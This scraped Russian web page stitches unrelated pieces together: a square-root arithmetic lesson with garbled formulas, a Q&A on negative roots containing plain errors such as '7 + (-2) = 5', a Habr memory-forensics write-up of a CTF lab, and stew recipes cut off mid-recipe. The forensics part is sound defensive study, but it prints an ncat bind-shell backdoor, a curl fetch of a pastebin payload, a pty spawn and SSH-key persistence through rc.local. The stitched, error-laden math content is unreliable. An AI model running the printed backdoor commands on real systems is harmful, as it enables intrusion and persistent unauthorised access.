4 корень из 6: Mathway | Популярные задачи — Таловская средняя школа

Содержание

Сложение и вычитание квадратных корней: определение, примеры, правила

Извлечение квадрантного корня из числа не единственная операция, которую можно производить с этим математическим явлением. Так же как и обычные числа, квадратные корни складывают и вычитают.

Правила сложения и вычитания квадратных корней

Определение 1

Такие действия, как сложение и вычитание квадратного корня, возможны только при условии одинакового подкоренного выражения.

Пример 1

Можно сложить или вычесть выражения 23 и 63, но не 56 и 94. Если есть возможность упростить выражение и привести его к корням с одинаковым подкоренным числом, то упрощайте, а потом складывайте или вычитайте.

Действия с корнями: основы

Пример 2

650-28+512

Алгоритм действия:

Упростить подкоренное выражение. Для этого необходимо разложить подкоренное выражение на 2 множителя, один из которых, — квадратное число (число, из которого извлекается целый квадратный корень, например, 25 или 9).
Затем нужно извлечь корень из квадратного числа и записать полученное значение перед знаком корня. Обращаем ваше внимание, что второй множитель заносится под знак корня.

После процесса упрощения необходимо подчеркнуть корни с одинаковыми подкоренными выражениями — только их можно складывать и вычитать.
У корней с одинаковыми подкоренными выражениями необходимо сложить или вычесть множители, которые стоят перед знаком корня. Подкоренное выражение остается без изменений. Нельзя складывать или вычитать подкоренные числа!

Совет 1

Если у вас пример с большим количеством одинаковых подкоренных выражений, то подчеркивайте такие выражения одинарными, двойными и тройными линиями, чтобы облегчить процесс вычисления.

Пример 3

Давайте попробуем решить данный пример:

650=6(25×2)=(6×5)2=302. Для начала необходимо разложить 50 на 2 множителя 25 и 2, затем извлечь корень из 25, который равен 5, а 5 вынести из-под корня. После этого нужно умножить 5 на 6 (множитель у корня) и получить 302.

28=2(4×2)=(2×2)2=42. Сперва необходимо разложить 8 на 2 множителя: 4 и 2. Затем из 4 извлечь корень, который равен 2, а 2 вынести из-под корня. После этого нужно умножить 2 на 2 (множитель у корня) и получить 42.

512=5(4×3)=(5×2)3=103. Сперва необходимо разложить 12 на 2 множителя: 4 и 3. Затем извлечь из 4 корень, который равен 2, и вынести его из-под корня. После этого нужно умножить 2 на 5 (множитель у корня) и получить 103.

Результат упрощения: 302-42+103

302-42+103=(30-4)2+103=262+103.

В итоге мы увидели, сколько одинаковых подкоренных выражений содержится в данном примере. А сейчас попрактикуемся на других примерах.

Пример 4

(45)+45:

Упрощаем (45). Раскладываем 45 на множители: (45)=(9×5);
Выносим 3 из-под корня (9=3):45=35;
Складываем множители у корней: 35+45=75.

Пример 5

640-310+5:

Упрощаем 640. Раскладываем 40 на множители: 640=6(4×10);
Выносим 2 из-под корня (4=2):640=6(4×10)=(6×2)10;

Перемножаем множители, которые стоят перед корнем: 1210;
Записываем выражение в упрощенном виде: 1210-310+5;
Поскольку у первых двух членов одинаковые подкоренные числа, мы можем их вычесть: (12-3)10=910+5.

Пример 6

95-23-45

Как мы видим, упростить подкоренные числа не представляется возможным, поэтому ищем в примере члены с одинаковыми подкоренными числами, проводим математические действия (складываем, вычитаем и т.д.) и записываем результат:

(9-4)5-23=55-23.

Советы:

Перед тем, как складывать или вычитать, необходимо обязательно упростить (если это возможно) подкоренные выражения.
Складывать и вычитать корни с разными подкоренными выражениями строго воспрещается.
Не следует суммировать или вычитать целое число или корень: 3+(2x)1/2.
При выполнении действий с дробями, необходимо найти число, которое делится нацело на каждый знаменатель, потом привести дроби к общему знаменателю, затем сложить числители, а знаменатели оставить без изменений.

Решение задач от 1 дня / от 150 р. Курсовая работа от 5 дней / от 1800 р. Реферат от 1 дня / от 700 р.

Автор: Ирина Мальцевская

Преподаватель математики и информатики. Кафедра бизнес-информатики Российского университета транспорта

Навигация по статьям

Предыдущая статья

Ранг матрицы

Следующая статья

Деление корней

Арифметические корни натуральной степени
Деление корней
Извлечение корней
Разложение квадратного корня на множители: методы
Свойства корней
Все темы по математике

Курсовые работы
Рефераты

Контрольные работы
Отчет по практике
Эссе

Узнать подробнее

Эффективные способы разработки методики поверки средств измерений

Заказать такую же работу

Судовые водоопреснительные установки их устройство и техническая эксплуатация

Вид работы:
Доклад
Выполнена:
26 марта 2022 г.
Стоимость:
1 800 руб

Заказать такую же работу

вариант на выбор

Вид работы:
Контрольная работа
Выполнена:

14 октября 2021 г.
Стоимость:
1 100 руб

Заказать такую же работу

Цифровые системы передачи

Вид работы:
Контрольная работа
Выполнена:
10 сентября 2021 г.
Стоимость:
2 200 руб

Заказать такую же работу

Выполнение работ по профессии Слесарь по эксплуатации и ремонту подземных газопроводов

Заказать такую же работу

дифференциальные уравнения

Вид работы:
Решение задач
Выполнена:
9 июня 2021 г.
Стоимость:
2 600 руб

Заказать такую же работу

Смотреть все работы по метрологии

Чему равен квадратный корень из минус 4? – Обзоры Вики

Отсюда, почему квадрат 1 отрицательный? Это потому, что я определяется как квадратный корень из отрицательного, и когда вы умножаете i на себя или, другими словами, на квадрат i, вы умножаете два квадратных корня, чтобы получить квадрат. Квадрат в этом случае будет -1.

Квадратный корень из минус 4 равен 2i? Квадратный корень из -4 равен 2i. Так как i определяется как sqrt. из -1, мы разделяем -4 на два полезных множителя: 4 х -1. –4 отрицательное число.

Кроме того, является ли квадратный корень из отрицательных 4 действительным числом? Квадратный корень из -4 не настоящее число. Квадратный корень отрицательного действительного числа всегда является мнимым числом (мнимое число — это комплексное число, которое может быть записано как действительное число, умноженное на мнимую единицу, которая определяется ). Обратите внимание, что 0 также можно рассматривать как мнимое число ().

Чему равно 2i? я² равно -1, реальное число!

Почему 2 отрицательных, а не положительных?

С каждым числом связано «аддитивное обратное» (своего рода «противоположное» число), которое при добавлении к исходному числу дает ноль. … Тот факт, что произведение двух отрицаний является положительным, поэтому связан с тем фактом, что Обратное к положительному числу — это то же положительное число. 2 и равно -1.

Как найти квадратный корень из минус 64?

Также Чему равен квадрат отрицательного 49? Так 7i является квадратным корнем из −49 .

Чему равен квадратный корень из минус 36?

Положительные и отрицательные квадратные корни из 36 равны 6 и −6 .

Является ли квадратный корень из минус 1 рациональным числом? Нет. Квадратный корень из отрицательной единицы, не рациональное число. Квадрат любого рационального числа всегда является положительным числом, но квадрат не является положительным.

Является ли отрицательным 4 целым числом?

Целые числа — это числа 0, 1, 2, 3, 4 и так далее (натуральные числа и ноль). Отрицательные числа не считаются «целыми числами».. » Все натуральные числа являются целыми числами, но не все целые числа являются натуральными числами, поскольку ноль — это целое число, а не натуральное число.

Что такое 7i?

7i означает √-7. Это потому, что значение i или йоты, как это называется по-гречески, имеет значение √-1.

Чему равен модуль 2i? Полный пошаговый ответ:

Следовательно, модуль комплексного числа $ – 2i $ равен 2.

Что такое i4 в математике? По определению, я = √ − 1 . i4=√−14. Когда у нас есть число, скажем, √2, и мы умножаем его на другое √2, мы получаем то, что находится внутри знака квадратного корня: √2×√2=2.

Что такое A/(BC?

Итак, а/(б/с) = (а×с)/ b.

Является ли 0 положительным? Чай число ноль не является ни положительным, ни отрицательным. Положительные и отрицательные числа иногда называют числами со знаком. в. Положительные числа можно записывать как со знаком плюс, так и без него.

Какое правило для плюса и минуса?

Правила:

	Правило	Пример
+ (+)	Два подобных знака становятся положительным знаком	3 + (+ 2) = 3 + 2 = 5
— (-)	6 — (- 3) = 6 + 3 = 9
+ (-)	Два непохожих знака становятся отрицательным знаком	7 + (- 2) = 7 — 2 = 5
— (+)	8 — (+ 2) = 8-2 = 6

Как выглядит 7 кубов? Изучение чисел куба

0 в кубе	=	0
6 в кубе	=	216
7 в кубе	=	343
8 в кубе	=	512
9 в кубе	=	729

Что такое куб отрицательных 5?

Кубический корень из -5 равен отрицательному значению кубического корня из 5. Следовательно, ∛-5 = -(∛5) = -(1.71) = -1.71.

Является ли 1057 идеальным квадратом? ∴1057 — не идеальный квадрат. Так как конечная цифра 7 (которая не является одной из 0, 1, 4, 5, 6 или 9).

расследование атаки на хост с закреплением и запуском rootkit / Хабр

Привет, Хабр! В предыдущей статье мы разобрали пример фишинга с использованием PDF вложения с вредоносным кодом, на примере задания GetPDF от CyberDefenders.

Сегодня мы поговорим о руткитах – типе вредоносного ПО, предназначенного для предоставления повышенных привилегий на устройстве жертвы без ее ведома. А также потренируемся в расследовании инцидента, связанного с атакой и заражением этим зловредом.

Небольшая справка о руткитах
Согласно книге «The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, 2nd Edition» by Bill Blunden: “Руткиты — набор исполняемых (двоичных) файлов, скриптов, конфигурационных файлов (в том числе, специальных утилит), которые позволяют получить доступ к компьютеру и поддерживать его на протяжении времени, не предупреждая об этом владельца. ”
Руткиты позволяют злоумышленникам с легкостью получить конфиденциальную информацию, хранящуюся на компьютере жертвы. Это возможно поскольку этот вредонос может выполнять действия как от имени учетной записи пользователя, так и получать полный доступ к системе на уровне ядра ОС, и даже работать на уровне драйверов, что делает его сложно детектируемым.
Как и в прошлый раз, практиковаться мы будем, отвечая на вопросы лабораторного задания Seized с уже известной учебной платформы CyberDefenders.
В ходе расследования авторы задания предлагают нам ответить на 9 вопросов, проанализировав дамп оперативной памяти с ОС CentOS (на базе ядра Linux):
What is the CentOS version installed on the machine?
There is a command containing a strange message in the bash history. Will you be able to read it?
What is the PID of the suspicious process?
The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor?
What are the attacker’s IP address and the local port on the targeted machine?
What is the first command that the attacker executed?
After changing the user password, we found that the attacker still has access. Can you find out how?
What is the name of the rootkit that the attacker used?
The rootkit uses crc65 encryption. What is the key?
Итак, приступим.
Подготовка
Правильно подобранный набор утилит и хорошо подготовленный стенд — залог успеха в расследовании инцидентов, поэтому начнем именно с этого. Развернем на виртуальной машине ОС на базе *nix. Отмечу, что здесь не принципиально будут ли это дистрибутивы Kali, Ubuntu или что-то другое, более экзотическое. Однако, если в будущем вы захотите продолжить исследования вредоносных сэмплов, то рекомендую развернуть REMnux или SIFT (by SANS), т.к. данные образы ОС уже содержат большой набор необходимых утилит.
После выбора образа и развертывания операционной системы (не буду подробно останавливаться на этом), нам необходимо убедиться, что на стенде установлен язык программирования python2 и менеджер пакетов pip к нему, т.к. Volatility написана на нём (хоть он уже и не поддерживается разработчиками).
Далее загружаем одну из самых популярных утилит для анализа дампа оперативной памяти Volatility: команду к импорту файлов git clone и устанавливаем python setup.py install для загрузки всех необходимых компонентов в систему. Нам также потребуется поставить несколько дополнительных библиотек для модулей Volatility с помощью команды:
pip install pycrypto distorm3 yara
После этого открываем страницу с заданием и загружаем дамп оперативной памяти с профилем ядра — zip файл, который содержит информацию о структуре ядра и отладочных символах и позволяет Volatility корректно распарсить важную информацию.
Посмотреть список доступных профилей после установки и плагинов можно командой:
./vol.py --info
Теперь разархивируем загруженный дамп (dump.mem) и профиль (Centos7.3.10.1062.zip):
unzip -o c73-EZDump.zip -d . и импортируем профиль в необходимую директорию с
загруженной Volatility используя команду:
cp Centos7. 3.10.1062.zip /volatility/plugins/overlays/linux/.
Распаковывать архив не нужно. Это позволит продолжить нам анализ содержимого архива. И убедимся, что необходимый профиль доступен в Volatility. Для этого воспользуемся командой: ./vol.py --info | grep LinuxCentos
Вывод должен быть таким:
Volatility Foundation Volatility Framework 2.6.1 LinuxCentos7_3_10_1062x64 — A Profile for Linux Centos7.3.10.1062 x64
Анализ
Прежде всего, давайте определим версию CentOS и заодно ответим на Вопрос №1. What is the CentOS version installed on the machine? Для этого воспользуемся утилитами strings & grep:
strings dump.mem | grep -i ‘Linux release’ | uniq
В результате получим версию релиза:
Linux 3.10.0-1062.el7.x86_64 CentOS Linux release 7.7.1908 (Core)
Далее в Вопросе №2. There is a command containing a strange message in the bash history. Will you be able to read it? авторы задания просят нас найти странную команду в истории bash. C помощью Volatility мы легко справимся с поставленной задачей, указав путь к дампу оперативной памяти, импортированный профиль и использовав модуль linux_bash (вывод на Рисунке 1):
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_bash
Рисунок 1 — история команд в bash
Здесь мы видим строку в кодировке base64, давайте ее декодируем:
echo «c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=» | base64 -d
Таким образом, мы получили наш первый флаг и ответ на Вопрос №2:
shkCTF{l3ts_st4rt_th4_1nv3st_75cc55476f3dfe1629ac60}
Сразу отмечу, что активность в истории начинается с временной метки 14:56:16 (далее — timeline) и обращу ваше внимание на разные PID у процессов bash (в самом низу).
Далее нас просят найти process ID (PID) подозрительного процесса – Вопрос №3. What is the PID of the suspicious process? Для этого мы можем воспользоваться одним из следующих плагинов:
linux_pslist — выводит список текущих процессов из структуры task_structure;
linux_pstree — дерево процессов родительские-> дочерние процессы;
linux_psxview — ищет скрытые процессы;
linux_psscan — сканирует физическую память и ищет процессы (позволяет получить список в том числе уже завершенных процессов и таймлайн их завершения).
Мы воспользуемся первым плагином linux_pslist, т.к. он покажет процессы (process ID – далее PID, UID, GID, Name) и отсортированные timelines для них (Рисунок 2). Сделаем это с помощью команды:
vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pslist
Рисунок 2 — список запущенных процессов, их offset, name, PID, PPID, Timelines
Мы видим, что запущенных процессов много, но я сокращу зону поиска, обратившись к нашему первому timeline из Вопроса №2. Получается, что нас интересуют процессы, запущенные после 14:56:16. Первым подозрительным процессом является PID 2854 – утилита ncat, которая позволяет выстраивать цепочки соединений, пробрасывать порты и многое другое, а также, часто используется злоумышленниками и этичными хакерами. Именно номер этого процесса – 2854 позволяет нам ответить на Вопрос № 3.
Переходим к Вопросу №4. The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor? Внимательный читатель уже наверняка заметил, что когда мы вывели историю bash, отвечая на Вопрос №2, то пользователь в 14:56:25 загрузил с гита python скрипты: git clone (https://github.com/tw0phi/PythonBackup).
После чего он разархивировал и запустил PythonBackup.py с правами суперпользователя.
Давайте посмотрим на код скрипта. Внимательно изучив, увидим, что в скрипте PythonBackup. py в переменную snapshot передается содержимое функции: generateSnapshot() (Рисунок 3) из кода snapshot.py в директории app.
Рисунок 3 — блок PythonBackup.py
Заглянув в код snapshot.py и поискав данную функцию, мы увидим обращение к стороннему ресурсу в коде функции (Рисунок 4) и выполнение полученного кода в командной строке.
Рисунок 4 – функция generateSnapshot из snapshot.py
Выполним команду из скрипта: curl -k https://pastebin.com/raw/nQwMKjtZ
И декодируем полученное содержимое из base64 (Рисунок 5), чтобы определить цели запуска скрипта автором.
Рисунок 5 — вывод результата запроса curl -k https://pastebin.com/raw/nQwMKjtZ
Итак, пользователь выполнил скрипт PythonBackup.py с правами суперпользователя, тем самым он запустил netcat в бэкграунде и открыл бэкдор на порт 12345, позволив злоумышленнику попасть на хост:
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null
На этом этапе злоумышленник и попал на хост.
После декодирования строки из base64 мы получили флаг (Рисунок 5):
shkCTF{th5t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}
В Вопросе №5. What are the attacker’s IP address and the local port on the targeted machine? авторы задания предлагают нам указать IP адрес атакующего и порт на целевом (атакованном) хосте, несмотря на то, что мы уже и так поняли какой был порт 😊.
Для этого воспользуемся плагином linux_netstat, который выводит список открытых сокетов, и отсортируем их по флагу «соединение установлено» с помощью команды:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_netstat | grep ‘ESTABLISHED’
В результате мы получили порт и IP адрес, с которым атакуемый хост установил соединение (Рисунок 6).
Рисунок 6 — установленные соединения
Здесь мы видим IP адрес атакующего – 192.168.49.1 и целевой порт на атакуемом хосте –12345.
Прежде чем ответить на Вопрос №6. What is the first command that the attacker executed? давайте посмотрим, какие процессы являются дочерними по отношению к ncat (PID 2854). В этом нам поможет плагин linux_pstree, который позволяет выстроить дерево отношений родительских и дочерних процессов. Сделаем это с помощью команды:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pstree
В результате мы видим список: bash (родитель 2854), python (родитель 2876), bash (родитель 2886), vim (родитель 2887), (Рисунок 7).
Рисунок 7 – процессы, порожденные ncat
В дереве процессов можно также заметить, что после запуска командной оболочки bash, атакующий запустил python, который в свою очередь породил новый tty. Предлагаю посмотреть, с какими аргументами был запущен python и заодно ответить на Вопрос №6 What is the first command that the attacker executed? Для этого воспользуемся плагином linux_psaux. Он позволит просмотреть аргументы, с которыми запущен процесс, а также userID и groupID, из-под которых был произведен запуск. Введем команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_psaux
Рисунок 8 – вывод плагина psaux
Как видно на Рисунке 8, первой командой, которую атакующий выполнил на хосте с правами суперпользователя после запуска скрипта легитимным пользователем PythonBackup.py, открытия бэкдора в системе и подключения злоумышленника, была:
python -c import pty; pty.spawn(“/bin/bash”)
Данная команда позволяет породить новый tty. Поэтому в дереве процессов на Рисунке 7, python (PID 2886) является родителем процесса bash (PID 2887, да-да, тот самый bash, на который мы с Вами обратили внимание, когда получили историю команд в оболочке bash на Рисунке 1).
В Вопросе №7. After changing the user password, we found that the attacker still has access. Can you find out how? нас просят ответить: как даже после смены пользователем пароля атакующий беспрепятственно продолжил входить на хост?
Итак, после выполнения плагина linux_psaux (Рисунок 8), внимательный читатель наверняка заметил, что атакующий редактировал файл /etc/rc.local редактором vim (PID 3196), rc.local — скрипт, содержимое которого выполняется после старта всех системных служб (здесь можно провести аналогию с автозагрузкой в ОС Windows).
Теперь давайте сделаем дамп процесса vim (PID 3196), чтобы посмотреть какие изменения атакующий внес с использованием данного редактора. Для этого создадим поддиректорию mkdir 3196_vim и выполним команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dump_map -p 3196 -D 3196_vim
В итоге мы получили 90 файлов с расширением .vma. Предлагаю сузить зону поиска с помощью команды: grep -iR «/etc/rc.local»
По данному критерию осталось всего 2 файла:
Binary file . /task.3196.0x22e5000.vma matches
Binary file ./task.3196.0x7ffc1c0c1000.vma matches
Сейчас нам необходимо посмотреть их содержимое и найти интересующую нас информацию (Рисунок 9), для этого воспользуемся сочетанием утилит strings & grep и выполним команду: strings -a task.3196.0x22e5000.vma | grep -A10 «/etc/rc.local»
Рисунок 9 — дамп содержимого процесса vim (PID 3196)
В дампе содержимого процесса VIM, мы видим, что атакующий в скрипте указал запись ключа шифрования ssh в файл /home/k3vin/.ssh/authorized_keys. Это позволило ему в дальнейшем входить в систему без пароля. Также здесь мы видим строку в base64, которую можно декодировать и получить флаг, чтобы ответить на Вопрос № 7.
# Well played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= echo c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= | base64 -d shkCTF{rc. l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}
Переходим к следующему Вопросу № 8. «What is the name of the rootkit that the attacker used?», где нас просят назвать имя rootkit’a, который использовал атакующий. Чтобы увидеть логи ядра, выполним команду (Рисунок 10):
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dmesg
Рисунок 10 – логи ядра Linux, модуль dmesg
Здесь видим предупреждения ядра о том, что загруженный модуль sysemptyrect не прошел верификацию и может нанести вред ядру, то есть модуль не является доверенным. После чего выполняется шифрование CRC65.
Также посмотрим на системные вызовы и, найдём среди них перехваченные
(HOOKED), выполним команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED
Стало понятно, что один из таких вызовов (номер 88 – это symlink) перехватывается модулем sysemptyrect, на который ядро также выдало предупреждение (Рисунок 11). Имя руткита, который использовал атакующий sysemptyrect.
Рисунок 11 – перехваченный системный вызов
Осталось ответить на Вопрос № 9. The rootkit uses crc65 encryption. What is the key? – последний вопрос задания.
Мы уже знаем название шифра, теперь нам ничего не мешает пройтись по дампу памяти и найти необходимый ключ: grep -a “crc65*” dump.mem
Результат виден на Рисунке 12. Кроме того, ключ можно обнаружить в дампе процесса bash (PID 2887).
Рисунок 12 – ключ для шифрования crc65
Вывод
Мы разобрали атаку на хост на базе Linux (ОС CentOS) с выполнением вредоносного кода из скрипта, закреплением атакующего в системе и применением rootkit’a.
Причиной проникновения злоумышленника на хост, является запуск скрипта snapshot.py с вредоносным кодом внутри, который вызывался из PythonBackup.py. Главной рекомендацией, которой я бы хотел с вами здесь поделиться – читать содержимое кода перед запуском или не запускать такой код вовсе, тем более с правами суперпользователя.
Буду рад, если статья окажется для вас полезной. Надеюсь, что этот разбор поможет вам в реальной работе. Если у вас есть вопросы – пишите в комментариях!
Автор: @AntonyN0p Антон Кузнецов, ведущий инженер информационной безопасности R-Vision.
суп и второе на 3 дня
Если взять много картошки, добавить овощей и все приправить небольшим количеством мяса – получится рагу. Блюдо очень удобное, ведь в нем есть и сок-бульон, и собственно само рагу. Его можно сделать сразу в большой кастрюле на несколько дней, и оно заменит собой и второе, и суп.
Рагу в азиатском стиле
Ингредиенты на 6 порций:
1,8 кг. подлопаточной части говядины, нарезать небольшими кубиками
450 гр. коротких ребер
1-2 ч.л. растительного масла
1 чашка сладкого рисового вина, саке или хереса
1/3 чашки соевого соуса
1 ч.л. рисового уксуса
2 чашки куриного бульона
1-2 ст.л. коричневого сахара
2 звездочки аниса
1 кусочек корня имбиря
6 зубчиков чеснока
3-4 красных перца (свежих или сушеных)
3 целых сушеных гриба шиитаке, нарезать на 4 части
Цедра одного лайма
3-4 крупные моркови, очистить и нарезать небольшими кусочками
1 большой дайкон, очистить и нарезать небольшими кусочками
Соль, перец
Приготовление:
Разогреть духовку до 160 °C. Приправить мясо солью и перцем. Разогреть масло в большой жаростойкой кастрюле с плотно закрывающейся крышкой. Работая в партиях, обжарить говядину, добавляя масло по мере необходимости. Обжаренное мясо положить обратно в кастрюлю.
Добавить вино и уксус, довести до кипения. Добавить соевый соус, сахар и бульон. Положить анис, имбирь, чеснок, перец чили и грибы, довести до кипения. Затем положить цедру лайма. Добавить воды, чтобы мясо было полностью покрыто. Накрыть кастрюлю крышкой и поставить в духовку. Через час проверить рагу: перевернуть кусочки коротких ребер и перемешать. Накрыть крышкой кастрюлю и готовить еще около 1 часа, пока мясо не станет мягким.
Достать рагу и поставить на средний огонь. Варить под крышкой в течение 30 минут. Лишний жир снимать ложкой или убрать готовое рагу в холодильник на ночь и снять жир на следующий день. Перед подачей разогреть рагу без крышки. Отварить овощи в другой кастрюле в течение 20 минут. Готовые овощи добавить в рагу. Подавать рагу с рисом или лапшой. Перед подачей украсить нарезанным зеленым луком.
Овощное рагу
Ингредиенты на 4 порции:
1 ст.л. оливкового масла
1 желтый лук, нарезать кубиками
2 зубчика чеснока, измельчить
1,5 ст.л. имбиря, измельчить
900 гр. ямса, нарезать небольшими кусочками
1/2 чашки сухой красной чечевицы, промыть и высушить
3 спелых помидора, снять кожицу и нарезать
1 ч.л. молотой корицы
2 ч.л. молотого кумина
1/2 ч.л. молотой куркумы
Кайенский перец по вкусу
4-5 чашки овощного бульона
1/4 чашки арахисового масла
4 чашки мелко нарезанной капусты кале
1/4 чашки жареного арахиса, нарезать
Соль, перец
Приготовление:
Разогреть духовку до 160 °C. В большой кастрюле разогреть оливковое масло на среднем огне. Добавить лук и готовить методом соте, пока он не станет полупрозрачным, около 3 минут. Добавить чеснок и имбирь и продолжать готовить аналогичным образом еще 3 минуты, до появления аромата чеснока. Выложить ямс, красную чечевицу, помидоры, корицу, кумин, куркуму, кайенский перец и все быстро перемешать.
Влить 4 чашки овощного бульона и довести до кипения (если бульона будет мало, добавить еще одну чашку). Когда суп закипит, уменьшить огонь и варить в течение 40-45 минут, пока ямс и чечевица не будут очень нежными. Добавить арахисовое масло и хорошо перемешать. Используя погружной блендер, пюрировать примерно половину рагу. Блюдо должно иметь сливочную текстуру, но при этом в нем должны быть видны кусочки овощей. Добавить кале. Приправить по вкусу солью перцем. Перед подачей посыпать измельченным арахисом.
Рагу с бараниной
Ингредиенты на 6 порций:
700 гр. картофеля
4 большие моркови, нарезать небольшими кусками
1 большой желтый лук, нарезать
1,4 кг. баранины без костей
1 веточка свежего розмарина
5 веточек свежего тимьяна
5 веточек петрушки
Цедра одного лимона
4 зубчика чеснока, нарезать
3 ст.л. оливкового масла
Одна 350 мл. бутылка пива Гиннесс
2 чашки куриного бульона
2 чашки грибов кремини
1,5 чашки замороженного зеленого горошка
Кошерная соль, молотый черный перец
Приготовление:
Разогреть духовку до 175 °C. В большую кастрюлю с толстым дном положить слой картофеля, затем моркови и лука. Сверху овощей разместить баранину. Смазать мясо оливковым маслом и приправить солью и перцем. Связать вместе кулинарной нитью веточки розмарина, тимьяна и петрушки. Заправить пучок трав под мясо. Посыпать мясо лимонной цедрой и чесноком.
Налить в кастрюлю пиво и куриный бульон. Накрыть крышкой и готовить в духовке в течение 3 часов. Добавить грибы и варить еще около 30 минут. Вынуть кастрюлю из духовки, добавить горошек и накрыть и поставить в духовку еще на 5 минут. Удалить травы. Разделить мясо на куски и подавать вместе с овощами.
Рагу с говядиной
Ингредиенты на 8-10 порций:
2,3-2,5 кг. говядины, нарезать небольшими кусочками
1/3 чашки оливкового масла, смешанного с рапсовым маслом
2 лука-порея, хорошо промыть и тонко нарезать
1 большой лук, нарезать кубиками
8 зубчиков чеснока, измельчить
2 моркови, нарезать кубиками
4 стебля сельдерея, нарезать кубиками
110 гр. белых грибов, грубо нарезать
1/4 чашки томатной пасты
2 анчоуса
1/2 чашки красного винного уксуса
1 чашка красного вина
3 чашки говяжьего бульона
1 чашка консервированных целых помидоров с соком
1,5 ст.л. соли
3 лавровых листа
3/4 ч.л. сушеного тимьяна
1/3 чашки нарезанной петрушки
Соль, перец
Приготовление:
Говядину приправить с обеих сторон солью и перцем. Работая в партиях, обжарить мясо на сильном огне в голландской жаровне, добавляя больше масла в случае необходимости. Переложить мясо на тарелку. Уменьшить огонь и добавить все овощи. Готовить в течение 5-10 минут, пока они не станут мягкими. Положить томатную пасту и анчоусы и готовить, пока анчоусы не разварятся. Выложить обратно говядину вместе с выделившимися соками.
Влить вино, уксус, добавить помидоры с соком и довести до кипения. Добавить бульон: он должен покрывать мясо, при необходимости добавить еще чашку. Положить соль, лавровый лист, тимьян и снова довести до кипения. Варить на медленном огне в течение 2-3 часов, пока мясо не станет мягким. Охладить до комнатной температуры. Когда рагу остынет, снять сверху жир. Перед подачей тушить еще 30-45 минут на медленном огне. Смешать рагу с петрушкой и подавать.
Рагу с мясом и тыквой
Ингредиенты на 6-8 порций:
2 ст.л. растительного масла
700 гр. баранины (плечо), нарезать кубиками
1 средняя луковица, нарезать
3/4 чашки грубо нарезанной моркови
2 зубчика, нарезать
800 гр. рубленых помидоров
2 чашки мясного бульона
2 веточки тимьяна
1 веточка розмарина
2 чашки нарезанной кубиками тыквы сквош
Соль, перец
Приготовление:
Разогреть духовку до 160 °C. В жаростойкой жаровне или кастрюле с плотно закрывающейся крышкой нагреть на среднем огне 1 столовую ложку масла. Посыпать мясо солью и обжарить половину мяса со всех сторон, около 5 минут. Переложить мясо на тарелку. Повторить с оставшимся мясом.
Убавить огонь до средне-низкого. Добавить в кастрюлю лук, морковь и чеснок. Готовить 3-5 минут, пока овощи не начнут смягчаться. Добавить рубленые помидоры, бульон, травы и мясо вместе с выделившимся соком. Довести до кипения на сильном огне, помешивая рагу деревянной ложкой и деглазируя кастрюлю. Когда рагу закипит, накрыть кастрюлю крышкой и поставить в духовку. Готовить от 2 до 3 часов, пока мясо не станет нежным. Добавить в рагу тыкву, накрыть крышкой и вернуть в кастрюлю духовку. Готовить еще от 20 до 25 минут до готовности тыквы.
Рагу с лакрицей
Ингредиенты на 6 порций:
900 гр. говядины или телятины (подлопаточная часть, щеки, рулька)
2 желтых лука
2 стебля сельдерея
1 чеснок
2 моркови
1/3 чашки муки
2 ст.л. сливочного масла
1/3 чашки бальзамического уксуса
200 гр. размягченного чернослива
1 щепотка красного перца
4 лавровых листа
4 веточки розмарина
10 см. корня солодки
4,5 чашки мясного бульона
3 чашки пива
Сахар
Соль и перец
Приготовление:
Удалить у мяса сухожилия и жир. Если куски очень большие, разрезать их на более мелкие. Мясо обсушить, затем щедро приправить солью и перцем. Дать ему настояться в холодильнике не менее одного часа, но лучше одну ночь. Нарезать лук, сельдерей, чеснок и морковь на небольшие куски.
Обвалять мясо в муке с добавлением соли и перца. В большой кастрюле нагреть масло и, работая в партиях, обжарить мясо со всех сторон до коричневого цвета. Подрумяненное мясо положить в тарелку. В кастрюлю выложить овощи и перец. Жарить, пока они не начнут менять цвет. Добавить уксус и продолжать готовить, пока почти весь уксус не испарится.
Положить мясо, чернослив, лавровые листья, розмарин и корень солодки. Добавить бульон и пиво. Довести жидкость до кипения. Накрыть крышкой и готовить на медленном огне в течение 3-4 часов, пока мясо не станет мягким и не будет разваливаться. Снять лишний жир.
Вынуть мясо из кастрюли, держать его в тепле. Удалить лавровый лист, розмарин и корень солодки. Процедить подливку через сито и уварить до желаемой консистенции. Добавить сахар, соль, перец и уксус по вкусу. Положить в подливку мясо с черносливом и разогреть.
Рагу с бараниной
Ингредиенты на 6 порций:
3 ст.л. оливкового масла
900 гр. баранины (предпочтительно плечо), нарезать кубиками
1/4 чашки муки
4 ст.л. сливочного масла
18 луковиц жемчужного лука, очистить
2 ст.л. тростникового сахара
4 средних моркови, нарезать кубиками
2 стебля сельдерея, нарезать кубиками
6 веточек тимьяна
2 веточки розмарина
10 веточек петрушки
1 лавровый лист
1 звездочка аниса
1,5 чашки красного вина
4 чашки бульона
2 чашки нарезанного кубиками картофеля
1 чашка горошка
Соль, перец
Приготовление:
